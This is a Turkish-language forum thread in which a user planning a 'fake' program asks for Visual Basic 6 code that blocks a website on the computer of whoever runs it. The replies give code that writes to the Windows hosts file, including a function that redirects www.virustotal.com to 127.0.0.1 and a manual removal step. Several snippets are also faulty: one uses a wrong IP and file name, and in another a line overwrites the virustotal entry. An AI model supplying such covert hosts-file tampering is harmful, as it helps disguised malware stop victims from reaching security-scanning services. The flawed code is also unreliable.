Vb6 da site engelleme

bunu yapıcağımız bir kod varmı arkadaşlar o kadar keylogger yapan var lütfen bi yardım edin

siteyi kendi bilgisayarından girerken mi yoksa o siteyi kökünden mi engellemek

Server' in Winsock data arrivalına şunları yaz.

Dim Site As String
Dim Site1 As String
Winsock1.GetData Site
Site1 = "120.0.0.1" & Site
Open "C:/Windows/system32/drivers/etc/host.txt" For Binary As #1
Put, Site1
Close #1

Client' in Butonuna şunu yaz.
Winsock1.SendData Text1.Text

Bunları kendi pc göre uyarla winsock ve dosya yazma işlemlerini bilmem gerekiyor.

kendi pc m de değil arkadaşlar keylogger yapımım şimdilik durdu fakat fake bir program yapıyorum ve programı açan kişide o sitenin engellenmiş olmasını istiyorum

’***************************************************
Public Function Engelle()
Dim a As String
Dim b As String
Dim c As String
a = Environ("windir") & "\\system32\\drivers\\etc\\hosts"
Open a For Binary As 1
b = Space(FileLen(a))
Get 1, , b
Close 1
c = vbNewLine & "127.0.0.1 www.virustotal.com"
c = vbNewLine & "127.0.0.1 Kendinizde Ekleyebilirsiniz."
Open a For Binary As 1
Put 1, , b & c
Close 1
End Function
’************************************************** Bitiş

Yeni Bir Button Oluşturun İcerisine Aşağıdaki Kodu Yapıstırın :
’**************
Call Engelle
’**************

Buttona Basılınca Virüstotal Engellenicektir ve Acılmıcaktır.

Panzehir : "C:\\WINDOWS\\system32\\drivers\\etc" Adresine Gidin Hots Adlı Dosyayı Not Defteri İle Acın "127.0.0.1 www.virustotal.com" Yazan Yeri Silin Ve Cıkın.

ALINTIDIR